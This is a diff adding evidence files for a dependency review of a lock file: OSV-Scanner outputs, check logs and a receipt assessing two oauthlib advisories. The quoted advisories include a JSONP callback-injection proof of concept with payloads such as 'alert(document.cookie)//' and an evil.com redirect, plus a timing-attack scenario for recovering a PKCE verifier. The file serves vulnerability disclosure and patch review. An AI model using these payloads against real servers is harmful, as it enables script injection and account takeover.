oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-exit-codes-and-findings.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-exit-codes-and-findings.txt new file mode 100644 index 000000000..704857acb --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-exit-codes-and-findings.txt @@ -0,0 +1,8 @@ +observed_utc=2026-09-30T08:54:08Z +PR-head lock, the head's own .github/osv-scanner.toml (the CI form): exit 0 +PR-head lock, EMPTY config (the control; must find the two OAuthlib ids): exit 1 +PR-base lock (main's), EMPTY config: exit 1 +osv-head-lock-with-ci-config.json -> no findings +osv-head-lock-empty-config-control.json -> {"oauthlib==3.3.1": ["GHSA-hj66-6f7g-4r5v", "GHSA-xpv3-w29h-x7cv"]} +osv-base-lock-empty-config.json -> {"oauthlib==3.3.1": ["GHSA-hj66-6f7g-4r5v", "GHSA-xpv3-w29h-x7cv"]} +stderr: Scanned /blueprints/runtime-workers/openhands/requirements.lock file and found 174 packages diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-empty-config-control.json b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-empty-config-control.json new file mode 100644 index 000000000..542b6818d --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-empty-config-control.json @@ -0,0 +1,234 @@ +{ + "results": [ + { + "source": { + "path": "/blueprints/runtime-workers/openhands/requirements.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-with-ci-config.json b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-with-ci-config.json new file mode 100644 index 000000000..939d28473 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-with-ci-config.json @@ -0,0 +1,9 @@ +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-scanner-identity.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-scanner-identity.txt new file mode 100644 index 000000000..ae3b04179 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-scanner-identity.txt @@ -0,0 +1,5 @@ +observed_utc=2026-09-30T08:54:07Z +osv-scanner binary sha256: ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108 +CI pin (.github/workflows/security-scan.yml): ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108 +osv-scanner version: 2.6.0 +osv-scalibr version: 0.5.2 diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pin-sources.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pin-sources.txt new file mode 100644 index 000000000..e6ee69a16 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pin-sources.txt @@ -0,0 +1,22 @@ +observed_utc=2026-09-30T08:54:07Z +== who requires click: + httpx 0.28.1: click==8.*; extra == 'cli' + browser-use 0.11.9: click>=8.1.8 + litellm 1.93.0: click>=8.0.0,<9.0 + uvicorn 0.52.4: click>=7.0 + beartype 0.22.9: click; extra == 'dev' + beartype 0.22.9: click; extra == 'test' + beartype 0.22.9: click; extra == 'test-tox' + google-auth-oauthlib 1.2.2: click>=6.0.0; extra == "tool" + python-dotenv 1.2.2: click>=5.0; extra == "cli" +== who requires pypdf: + browser-use 0.11.9: pypdf>=5.7.0 + litellm 1.93.0: pypdf>=6.12.0,<7.0 ; extra == 'proxy-runtime' +== who requires soupsieve: + beautifulsoup4 4.14.2: soupsieve>1.2 +== dynamic-import shapes naming oauthlib in requests_oauthlib and google_auth_oauthlib: + requests_oauthlib/oauth1_session.py:316: if not getattr(self._client.client, "verifier", None): + requests_oauthlib/oauth2_session.py:132: return getattr(self._client, "client_id", None) + requests_oauthlib/oauth2_session.py:144: return getattr(self._client, "token", None) + requests_oauthlib/oauth2_session.py:153: return getattr(self._client, "access_token", None) + (4 lines) diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pr535-identity.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pr535-identity.txt new file mode 100644 index 000000000..6fe014880 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pr535-identity.txt @@ -0,0 +1,20 @@ +observed_utc=2026-09-30T08:54:07Z +pr head: bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd +pr base (main when the PR was made): f03f41c7f3601532b8635f8f112a3d2731454375 +merge base of head and origin/main: f03f41c7f3601532b8635f8f112a3d2731454375 +candidate lock sha256 at the head: 8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676 +lock sha256 at the PR base: 14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64 +pins.json requirements_sha256: 8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676 +pins.json version: 1.50.0 +--- the OpenHands entry of IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py at the head: + 78: "blueprints/runtime-workers/openhands/requirements.lock": { + 79- "advisories": ["GHSA-hj66-6f7g-4r5v", "GHSA-xpv3-w29h-x7cv"], + 80- "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + 81- "evidence": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json", +--- lines the PR adds or removes in .github/osv-scanner.toml (changed lines only): + +# 2026-09-30: the GPT Researcher and Crawl4AI source-only allowances are bound + +# to exact locks in IGNORE_ALLOWED_LOCKS and independently rechecked in + +# evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json. + +# No new ignored advisory or expiry extension; dynamic/model-artifact paths + +# and broader worker activation remain outside this bounded source review. +--- the evidence file the entry names exists at the head: blob diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/receipt.json b/evidence/artifacts/openhands-oauthlib-review-535-20260930/receipt.json new file mode 100644 index 000000000..f4a8c5b22 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/receipt.json @@ -0,0 +1,107 @@ +{ + "schema": "openhands-oauthlib-review-receipt/1", + "id": "openhands-oauthlib-review-535-20260930", + "subject": "independent changed-closure OAuthlib reachability review of draft PR 535 (candidate OpenHands SDK 1.50.0 wheel lock)", + "pr": { + "number": 535, + "head": "bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd", + "base": "f03f41c7f3601532b8635f8f112a3d2731454375", + "lane": "lane:shared", + "state_at_review": "draft" + }, + "lock": { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "base_sha256": "14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64", + "platform": "Linux x86_64", + "python": "CPython 3.13.15", + "packages_parsed_by_osv": 174 + }, + "status": "review complete for the exact head and lock; corrections A and B requested; no approval of any merge, exception, pin or promotion", + "verdict": "no reachable path from the closure to the two advisories' server-side code; the closure's only oauthlib consumers are client-side (requests-oauthlib 2.0.0)", + "evidence_classes": { + "source_review": "reads of the candidate's files and of dependency metadata", + "our_integration_check": "our scripts and outputs on a reproduced install and on git objects" + }, + "controls": { + "empty_config_osv": "exit 1 with exactly the two oauthlib advisory ids (V5)", + "ci_config_osv": "exit 0 (V5)", + "base_lock_empty_config": "exit 1 with the same two ids (V5)" + }, + "claims": [ + { + "id": "V1", + "class": [ + "source_review", + "our_integration_check" + ], + "text": "identity: the PR head is exactly bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd (base f03f41c7f3601532b8635f8f112a3d2731454375); the lock at the head hashes to 8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676, equal to pins.json requirements_sha256 and to the sha256 in the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose evidence file exists at the head; the PR changes .github/osv-scanner.toml by comment lines only (no advisory id, no expiry)", + "at": "checks/pr535-identity.txt" + }, + { + "id": "V2", + "class": [ + "our_integration_check" + ], + "text": "the candidate's two hashed installs (build lock, then the candidate lock with --no-build-isolation) were reproduced in a fresh CPython 3.13.15 environment on Linux x86_64 (uv 0.12.17): both exit 0 and uv pip check reports all installed packages compatible; oauthlib 3.3.1, PyJWT 2.14.0, requests-oauthlib 2.0.0, google-auth-oauthlib 1.2.2, authlib 1.6.12, openhands-sdk and openhands-tools 1.50.0", + "at": "checks/install-log.txt, checks/independent-scan.txt" + }, + { + "id": "V3", + "class": [ + "our_integration_check" + ], + "text": "independent reachability sweep (a different method from the candidate's AST scan: installed metadata plus a raw-text sweep of every file): 14,616 files outside oauthlib (any extension, binary included); 22 mention 'oauthlib', in requests_oauthlib (8), google_auth_oauthlib (5+4 dist-info), browser_use (1+1), requests_oauthlib dist-info (3); 0 lines name a server-side or advisory class; requests-oauthlib 2.0.0 only (oauthlib>=3.0.0; extra rsa: oauthlib[signedtoken]>=3.0.0); no dynamic-import shape names oauthlib in requests_oauthlib or google_auth_oauthlib; authlib (its own OAuth implementation) never mentions oauthlib. Verdict for this exact lock: no code in the closure selects or calls oauthlib's RevocationEndpoint/enable_jsonp path (GHSA-hj66-6f7g-4r5v) or its PKCE grant comparison (GHSA-xpv3-w29h-x7cv); the only oauthlib consumers are client-side", + "at": "checks/independent-scan.txt, checks/pin-sources.txt" + }, + { + "id": "V4", + "class": [ + "our_integration_check" + ], + "text": "the four advisory-related oauthlib source files (endpoints/revocation.py, grant_types/authorization_code.py and the two pre_configured.py) are byte-identical to the sha256 values printed in the candidate's own callers output, and func_timeout/py2_raise.py matches the candidate's pinned hash while func_timeout/dafunc.py selects py3_raise first", + "at": "checks/advisory-files-and-helper.txt" + }, + { + "id": "V5", + "class": [ + "our_integration_check" + ], + "text": "OSV-Scanner 2.6.0 (binary sha256 ca69b3d3..., the CI pin), CI command form, 174 packages parsed: the candidate lock with the head's own config exits 0 with no findings; the control with an EMPTY config exits 1 and its only findings are oauthlib==3.3.1 with GHSA-hj66-6f7g-4r5v and GHSA-xpv3-w29h-x7cv; the PR base's lock with an empty config exits 1 with the same two ids", + "at": "checks/osv-exit-codes-and-findings.txt, checks/osv-*.json" + }, + { + "id": "V6", + "class": [ + "our_integration_check" + ], + "text": "closure difference against the PR base's reviewed lock (14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64): 335 to 176 packages, 0 added, 159 removed (all pyobjc*, the macOS closure: the candidate is a Linux-only lock), 5 changed: openhands-sdk and openhands-tools 1.49.6 to 1.50.0, click 8.5.0 to 8.3.3, pypdf 6.19.0 to 6.16.1, soupsieve 2.9.2 to 2.9; oauthlib 3.3.1 and PyJWT 2.14.0 unchanged", + "at": "checks/closure-diff-base-vs-head.txt" + }, + { + "id": "V7", + "class": [ + "source_review" + ], + "text": "no installed dependency forces the three lower versions: click is required as click>=8.1.8 (browser-use), >=8.0.0,<9.0 (litellm), >=7.0 (uvicorn); pypdf as >=5.7.0 (browser-use) and >=6.12.0,<7.0 (litellm, extra); soupsieve as >1.2 (beautifulsoup4); the candidate's own requirements input pins click==8.3.3, pypdf==6.16.1 and soupsieve==2.9 exactly", + "at": "checks/pin-sources.txt" + } + ], + "findings": [ + "A (record accuracy): the candidate's receipt gives lock.before_sha256 7dba097d..., not the PR base's reviewed lock 14e57b8d..., and does not record the delta against it (V6); the three lower versions are unforced (V7) and pass OSV at main's newer versions. Required: record the delta against main and keep main's versions or state the reason.", + "B (scope): the review and any exception cover the Linux x86_64 CPython 3.13.15 closure only. Required: say so in the receipt and the test comment, and confirm that no macOS or other-platform install path consumes this lock now that its macOS entries are gone.", + "Concern, not a blocker: the candidate's bound-call detection reports calls of names bound from oauthlib and misses class bases and bare attribute use; its regex list and the raw sweep here cover those shapes, and its absence claim is properly limited to literal Python source." + ], + "residuals": [ + "Static source evidence only: no runtime trace, no execution of any OAuth flow or server; dynamic imports and runtime-assembled names are not excluded by this method (none was found by shape).", + "Historical scoped proof for the exact lock and head named here. Codex reports that the closure is being corrected and a new head and lock will follow; nothing here is acceptance of that closure, of any exception, pin or merge.", + "Out of scope and unreviewed: the image scan (56 fixable High/Critical reported by the candidate), live quality, dispatch and worker code, the GPT Researcher and Crawl4AI nltk allowances.", + "The outputs of identity, closure difference, advisory hashes, pin sources, OSV scans and the independent sweep were regenerated from the same immutable git objects and the same scratch install after the first prints in a session; each carries its observed time. The install log is the original run's.", + "The joint oauthlib 4.0.0 / PyJWT 2.15.1 relock of the live lock stays with issue #518 and starts no earlier than 2026-10-05T18:40:43Z; the exception this review supports would be deleted by it." + ], + "provenance": { + "reviewer": "native-agent-stack-bc (owner of issue #518)", + "scripts": "scripts/ as run; host paths are masks such as , , ", + "commands": "checks/commands-as-typed.txt is a transcription of the commands as typed, with the times of the runs" + } +} diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/constraint_sources.py.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/constraint_sources.py.txt new file mode 100644 index 000000000..7bd8cf420 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/constraint_sources.py.txt @@ -0,0 +1,23 @@ +"""Which installed distributions constrain click, pypdf and soupsieve, and how (Requires-Dist lines), plus a check for dynamic-import shapes naming oauthlib +inside requests_oauthlib and google_auth_oauthlib. Run with the reproduced venv's python.""" +import importlib.metadata as 